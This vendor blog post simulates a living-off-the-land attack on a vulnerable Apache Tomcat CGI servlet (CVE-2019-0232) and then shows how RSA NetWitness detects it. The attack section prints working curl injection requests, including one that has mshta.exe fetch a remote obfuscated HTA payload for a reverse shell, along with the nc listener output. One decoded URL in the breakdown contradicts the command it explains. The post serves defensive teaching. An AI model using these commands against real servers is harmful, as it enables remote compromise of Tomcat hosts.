What are LotL tactics?
Living-Off-The-Land tactics are those that involve the use of legitimate tools for malicious purposes. This is an old concept but a recent growing trend among threat actors because these types of techniques are very difficult to detect considering that the tools used are whitelisted most of the time. A good list of applications that can be used for these type of tactics can be found at LOLBAS (Windows) and GTFOBins (UNIX).
The first part of this article will show how an attacker is able to spot and exploit a recent RCE (Remote Code Execution) vulnerability for Apache Tomcat. We will see how the attacker will eventually be able to get a reverse shell using a legitimate Windows utility mshta.exe. The second part will focus on the detection phase leveraging the RSA NetWitness Platform.
The attacker has targeted an organization we will call examplecorp throughout this blog post. During the enumeration phase, thanks to resources such as Google dorks, shodan.io and nmap, the attacker has discovered the company runs a Tomcat server which is exposed to the Internet. Upon further research, the attacker finds a vulnerability and successfully exploits it in order to obtain a reverse shell, which will serve as the foundation for his malicious campaign against examplecorp.
To achieve what has been described in the above scenario the attacker uses different tools and services:
The scenario is simulated on a virtual local environment. Below is a list of the IP addresses used:
- 192.168.16.123 --> attacker machine (Kali Linux)
- 192.168.16.38 --> victim/examplecorp machine (Windows host where Tomcat is running)
- 192.168.16.146 --> remote server where the attacker stored the malicious payload (shell.hta)
Part 1 - Attack phase
With enumeration tools such as nmap, gobuster, etc., the attacker discovers that the Tomcat server is on version 9.0.17, it is running on Windows and it serves a legacy application through a CGI Servlet at the following address:
In our example the application will be as simple as "Hello, World!" but will be something else in reality.
Upon further research the attacker discovers a vulnerability (CVE-2019-0232) in the CGI Servlet component of Tomcat prior to version 9.0.18. A detailed description of the vulnerability can be found here at the following links:
- Remote Code Execution (RCE) in CGI Servlet – Apache Tomcat on Windows – CVE-2019-0232 | Nightwatch Cybersecurity.
- Uncovering CVE-2019-0232: A Remote Code Execution Vulnerability in Apache Tomcat - TrendLabs Security Intelligence Blog
With a simple test the attacker can verify the vulnerability. Just by adding ?&dir at the end of the URL the attacker can see the output of the dir command on the affected Windows server Tomcat is running on.
root@kali:~# curl "http://192.168.16.38:8080/cgi/app.bat?&dir"
Volume in drive C has no label.
Volume Serial Number is 4033-77BA
Directory of C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi
19/12/2019 13:27 <DIR> .
19/12/2019 13:27 <DIR> ..
17/12/2019 15:00 <DIR> %SystemDrive%
16/12/2019 21:37 67 app.bat
19/12/2019 13:19 21 hello.py
2 File(s) 88 bytes
3 Dir(s) 39,850,405,888 bytes free
Now the attacker decides to create a malicious payload that will spawn a remote shell. To do that, he uses a tool dubbed WeirdHTA that allows to create an obfuscated remote shell in hta format that he can then invoke remotely using the Microsoft mshta utility. The attacker tests the file with the most common anti virus software to ensure is properly obfuscated and not detected before initiating the attack.
The attacker launches the below command to connect to the remote server and run the malicious payload:
root@kali:~# curl -v "http://192.168.16.38:8080/cgi/app.bat?&C%3A%2FWindows%2FSystem32%2Fmshta.exe+http%3A%2F%2F192.168.16.146%3A8000%2Fshell.hta"
* Trying 192.168.16.38:8080...
* TCP_NODELAY set
* Connected to 192.168.16.38 (192.168.16.38) port 8080 (#0)
> GET /cgi/app.bat?&C%3A%2FWindows%2FSystem32%2Fmshta.exe+http%3A%2F%2F192.168.16.146%3A8000%2Fshell.hta HTTP/1.1
> Host: 192.168.16.38:8080
> User-Agent: curl/7.66.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Content-Type: text/plain
< Content-Length: 15
< Date: Fri, 31 Jan 2020 10:44:16 GMT
* Connection #0 to host 192.168.16.38 left intact
If we break this command down we can see the following:
?&C%3A%2FWindows%2FSystem32%2Fmshta.exe+The second part is a URL-encoded string that decodes to C:\Windows\System32\mshta.exe
http%3A%2F%2F192.168.16.146%3A8000%2Fshell.hta"This last part is the URL-encoded address of the remote location (http://192.168.16.123/shell.hta) where the attacker keeps the malicious payload, that is shell.hta.
The attacker, who had created a listener on his remote server, obtains the shell:
root@kali:~# nc -lvnp 7777
listening on [any] 7777 ...
connect to [192.168.16.123] from (UNKNOWN) [192.168.16.38] 50057
PS C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi> dir
Directory: C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 17/12/2019 15:00 %SystemDrive%
-a---- 16/12/2019 21:37 67 app.bat
-a---- 19/12/2019 13:19 21 hello.py
PS C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi>
Part 2 - Detection phase with the RSA NetWitness Platform
While investigating with RSA NetWitness Endpoint the analyst notices the Behaviors of Compromise meta key populated with the value runs mshta with http argument, which is unusual.
Filtering by the runs mshta with http argument indicator, the analyst observes that an application running on Tomcat is launching mshta which in turn is calling an hta file residing on a remote server (192.168.16.146).
Drilling into these sessions using the event analysis panel, the analyst is able to confirm the events in more detail:
- app.bat ( running on machine with hostname winEP1 and IP 192.168.16.38)
- created the process
- called mshta.exe
- mshta.exe runs with the parameter http://192.168.16.146:8000/shell.hta
The analyst, knowing the affected machine IP address, decides to dig deeper with the RSA NetWitness Platform using the network (i.e. packet) data.
- Investigating around the affected machine IP in the same time range, the analysts notices the IP address 192.168.16.123 (attacker) connecting to Tomcat on port 8080 (to test whether the server is vulnerable to CVE-2019-0232) by adding the dir command to the URL. He can also see the response.
- Immediately after the first event, the analyst notices the same IP address connecting on the same port but this time using a more complex GET request which seems to allude to malicious behavior.
- Now the analysts filters by ip.dst=192.168.16.146 (the IP address found in the GET request above) and he is able to see the content of the shell.hta file. Although it is encoded and not human-readable it is extremely suspicious!
- Next, the analysts filters by ip.dst=192.168.16.123 and he eventually sees that the attacker has obtained shell access (through PowerShell) to the windows machine where Tomcat resides.
LotL tactics are very effective and difficult to detect due to the legitimate nature of the tools used to perform such attacks. Constant monitoring and proactive threat hunting are vital for any organization. The RSA NetWitness Platform provides analysts with the visibility needed to detect such activities, thus reducing the risk of being compromised.